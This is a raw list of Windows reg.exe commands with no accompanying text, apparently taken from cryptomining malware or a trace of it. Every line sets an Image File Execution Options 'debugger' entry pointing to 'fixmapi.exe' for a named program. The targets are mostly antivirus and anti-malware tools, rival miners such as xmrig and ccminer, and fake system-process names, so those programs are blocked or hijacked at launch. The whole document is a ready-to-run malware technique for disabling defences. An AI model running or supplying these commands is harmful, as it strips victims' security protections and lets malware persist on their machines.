'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_cp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Interl thesaurus service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveSecurity.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mouse Lock_v22.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsmosee.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdown.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VC90.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbVSCService11.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CrashService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schedhlp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xngiesa.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemIDLE.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Trjscan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak-cpu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccminer-x64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-cli.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX2_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbox.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SCTCleanupService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xDedicLogCleaner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows nt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTcli.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywareblaster.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\starter_avp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client Server Runtime Procces.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TibMounterMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mscvin.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brosec.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmrg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskManagerService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemDriveHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VVUDFHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-api.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrueImageMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Conime.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winidow.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSetting.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servicess.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartUpTool_w.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scriptrap.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTraffic.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWIdlMon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iimaia.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRPC.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoTask.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Realmon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\securesurf.browser.client.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDFSSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmhelpserver.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webisida.browser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\igateway.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TeaTimer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRT.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDWSCSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamscheduler.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbarw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPK.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpkL64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MBAMService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcohst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Project1.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchots.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchobst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetGoodBar.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\THGuard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PAUI.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccSvcHst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DTLEP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zpgiupy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hmac.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytbrowser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytpumpchrome.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StSess.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3Lite.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgbider.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Logo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wiswqcs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Security.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KasAVSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uninst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFTips.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMF.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DriverBooster.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsserv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmon32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nip.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zlh.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zanda.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Njeeves.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\elogsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvpncsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\indexer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NTTacP.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nsesvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBAMTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBAMSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jixlea.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerGUI.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManager.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerShow.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skrolls.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSUAMain.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ByteFence.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Terms.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javaj.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Antivirus_Free_Edition_x86.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InstantSupport.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer-browser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TINY.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
